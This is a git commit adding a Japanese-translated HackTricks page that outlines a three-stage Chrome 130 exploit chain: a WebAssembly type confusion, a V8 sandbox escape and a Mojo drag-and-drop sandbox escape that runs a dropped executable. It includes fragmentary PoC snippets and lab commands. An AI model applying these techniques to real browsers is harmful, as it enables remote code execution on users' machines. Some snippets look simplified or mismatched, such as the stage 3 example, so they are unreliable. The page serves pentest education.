Translated ['src/binary-exploitation/chrome-exploiting.md'] to ja

2025-10-10 18:36:50 +00:00 · 2025-07-22 02:47:01 +00:00 · 2025-07-22 02:47:01 +00:00 · af476dea3a
commit af476dea3a
parent 1c03c0e07f
2 changed files with 171 additions and 0 deletions
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@ -761,6 +761,7 @@
  - [SROP - Sigreturn-Oriented Programming](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/README.md)
    - [SROP - ARM64](binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md)
 - [Array Indexing](binary-exploitation/array-indexing.md)
+- [Chrome Exploiting](binary-exploitation/chrome-exploiting.md)
 - [Integer Overflow](binary-exploitation/integer-overflow.md)
 - [Format Strings](binary-exploitation/format-strings/README.md)
  - [Format Strings - Arbitrary Read Example](binary-exploitation/format-strings/format-strings-arbitrary-read-example.md)
--- a/src/binary-exploitation/chrome-exploiting.md
+++ b/src/binary-exploitation/chrome-exploiting.md
@ -0,0 +1,170 @@
+# Chrome Exploiting
+
+{{#include ../banners/hacktricks-training.md}}
+
+> このページは、研究シリーズ **“101 Chrome Exploitation”**（パート0 — 前書き）に基づいた、Google Chrome 130 に対する現代の「フルチェーン」エクスプロイトワークフローの高レベルかつ**実践的**な概要を提供します。
+> 目的は、ペンテスターとエクスプロイト開発者に、技術を再現または適応するために必要な最小限の背景を提供することです。
+
+## 1. Chrome アーキテクチャの再確認
+攻撃面を理解するには、コードが実行される場所と適用されるサンドボックスを知る必要があります。
+```
+-------------------------------------------------------------------------+
+|                             Chrome Browser                              |
+|                                                                         |
+|  +----------------------------+      +-----------------------------+    |
+|  |      Renderer Process      |      |    Browser/main Process     |    |
+|  |  [No direct OS access]     |      |  [OS access]                |    |
+|  |  +----------------------+   |      |                             |    |
+|  |  |    V8 Sandbox        |   |      |                             |    |
+|  |  |  [JavaScript / Wasm] |   |      |                             |    |
+|  |  +----------------------+   |      |                             |    |
+|  +----------------------------+      +-----------------------------+    |
+|               |           IPC/Mojo              |                       |
+|               V                                    |                     |
+|  +----------------------------+                   |                     |
+|  |        GPU Process         |                   |                     |
+|  |  [Restricted OS access]    |                   |                     |
+|  +----------------------------+                   |                     |
+-------------------------------------------------------------------------+
+```
+Layered defence-in-depth:
+
+* **V8 sandbox** (Isolate): メモリ権限は、JITされたJS / Wasmからの任意の読み書きを防ぐために制限されています。
+* **Renderer ↔ Browser split** は **Mojo/IPC** メッセージパッシングによって保証されており、レンダラーは*ネイティブなFS/ネットワークアクセスを持ちません*。
+* **OS sandboxes** は各プロセスをさらに制限します（Windows Integrity Levels / `seccomp-bpf` / macOS sandbox profiles）。
+
+したがって、*リモート* 攻撃者は **3つの** 連続したプリミティブが必要です：
+
+1. V8内のメモリ破損により **V8ヒープ内の任意のRWを取得**。
+2. 攻撃者が **V8サンドボックスから完全なレンダラーメモリに脱出** できる2つ目のバグ。
+3. コードを **Chrome OSサンドボックスの外で実行する** 最終的なサンドボックス脱出（しばしばメモリ破損ではなく論理）。
+
+---
+
+## 2. Stage 1 – WebAssembly Type-Confusion (CVE-2025-0291)
+
+TurboFanの **Turboshaft** 最適化における欠陥は、値が *単一の基本ブロックループ* 内で生成され消費されるときに **WasmGC参照型** を誤分類します。
+
+影響：
+* コンパイラは **型チェックをスキップ** し、*参照* (`externref/anyref`) を *int64* として扱います。
+* 作成されたWasmは、攻撃者が制御するデータでJSオブジェクトヘッダーを重ねることを可能にします → <code>addrOf()</code> & <code>fakeObj()</code> **AAW / AARプリミティブ**。
+
+最小限のPoC（抜粋）：
+```WebAssembly
+(module
+(type $t0 (func (param externref) (result externref)))
+(func $f (param $p externref) (result externref)
+(local $l externref)
+block $exit
+loop $loop
+local.get $p      ;; value with real ref-type
+;; compiler incorrectly re-uses it as int64 in the same block
+br_if $exit       ;; exit condition keeps us single-block
+br   $loop
+end
+end)
+(export "f" (func $f)))
+```
+トリガー最適化とJSからのスプレーオブジェクト:
+```js
+const wasmMod = new WebAssembly.Module(bytes);
+const wasmInst = new WebAssembly.Instance(wasmMod);
+const f = wasmInst.exports.f;
+
+for (let i = 0; i < 1e5; ++i) f({});   // warm-up for JIT
+
+// primitives
+let victim   = {m: 13.37};
+let fake     = arbitrary_data_backed_typedarray;
+let addrVict = addrOf(victim);
+```
+結果: **V8内での任意の読み書き**。
+
+---
+
+## 3. ステージ2 – V8サンドボックスからの脱出 (issue 379140430)
+
+Wasm関数がティアアップコンパイルされると、**JS ↔ Wasmラッパー**が生成されます。シグネチャ不一致バグにより、Wasm関数が*スタック上にある間*に再最適化されると、ラッパーが信頼された**`Tuple2`**オブジェクトの末尾を超えて書き込むことになります。
+
+`Tuple2`オブジェクトの2 × 64ビットフィールドを上書きすることで、**レンダラープロセス内の任意のアドレスへの読み書き**が可能になり、V8サンドボックスを効果的にバイパスします。
+
+エクスプロイトの主要なステップ:
+1. ターボファン/ベースラインコードを交互に使用して関数を**ティアアップ**状態にする。
+2. スタック上で参照を保持しながらティアアップをトリガーする（`Function.prototype.apply`）。
+3. ステージ1 AAR/AAWを使用して隣接する`Tuple2`を見つけて破損させる。
+
+ラッパーの識別:
+```js
+function wrapperGen(arg) {
+return f(arg);
+}
+%WasmTierUpFunction(f);          // force tier-up (internals-only flag)
+wrapperGen(0x1337n);
+```
+腐敗後、完全な機能を持つ **renderer R/W primitive** を取得します。
+
+---
+
+## 4. ステージ 3 – Renderer → OS サンドボックスエスケープ (CVE-2024-11114)
+
+**Mojo** IPC インターフェース `blink.mojom.DragService.startDragging()` は、*部分的に信頼された* パラメータで Renderer から呼び出すことができます。 **任意のファイルパス** を指す `DragData` 構造体を作成することで、レンダラーはブラウザに対して *ネイティブ* ドラッグアンドドロップを **レンダラーサンドボックスの外で** 実行させることができます。
+
+これを悪用することで、プログラム的に悪意のある EXE（以前に書き込み可能な場所にドロップされた）をデスクトップに「ドラッグ」し、Windows が特定のファイルタイプを自動的に実行します。
+
+例（簡略化）：
+```js
+const payloadPath = "C:\\Users\\Public\\explorer.exe";
+
+chrome.webview.postMessage({
+type: "DragStart",
+data: {
+title: "MyFile",
+file_path: payloadPath,
+mime_type: "application/x-msdownload"
+}
+});
+```
+追加のメモリ破損は必要ありません – **論理的欠陥**により、ユーザーの権限で任意のファイルを実行できます。
+
+---
+
+## 5. フルチェーンフロー
+
+1. **ユーザーが** 悪意のあるウェブページを訪問します。
+2. **ステージ 1**: Wasm モジュールが CVE-2025-0291 を悪用 → V8 ヒープ AAR/AAW。
+3. **ステージ 2**: ラッパーの不一致が `Tuple2` を破損 → V8 サンドボックスから脱出。
+4. **ステージ 3**: `startDragging()` IPC → OS サンドボックスから脱出し、ペイロードを実行。
+
+結果: **リモートコード実行 (RCE)** がホスト上で発生します (Chrome 130, Windows/Linux/macOS)。
+
+---
+
+## 6. ラボ & デバッグ設定
+```bash
+# Spin-up local HTTP server w/ PoCs
+npm i -g http-server
+git clone https://github.com/Petitoto/chromium-exploit-dev
+cd chromium-exploit-dev
+http-server -p 8000 -c -1
+
+# Windows kernel debugging
+"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\windbgx.exe" -symbolpath srv*C:\symbols*https://msdl.microsoft.com/download/symbols
+```
+*development* ビルドの Chrome を起動する際に便利なフラグ:
+```bash
+chrome.exe --no-sandbox --disable-gpu --single-process --js-flags="--allow-natives-syntax"
+```
+---
+
+## テイクアウェイ
+
+* **WebAssembly JITバグ**は信頼できるエントリーポイントのままであり、型システムはまだ若いです。
+* V8内で2つ目のメモリ破損バグ（例：ラッパー不一致）を取得することは、**V8サンドボックスの脱出**を大幅に簡素化します。
+* 特権のあるMojo IPCインターフェースにおける論理レベルの弱点は、**最終的なサンドボックスの脱出**に十分であることが多いです – *非メモリ*バグに注意してください。
+
+
+
+## 参考文献
+* [101 Chrome Exploitation — Part 0 (Preface)](https://opzero.ru/en/press/101-chrome-exploitation-part-0-preface/)
+* [Chromiumセキュリティアーキテクチャ](https://chromium.org/developers/design-documents/security)
+{{#include ../banners/hacktricks-training.md}}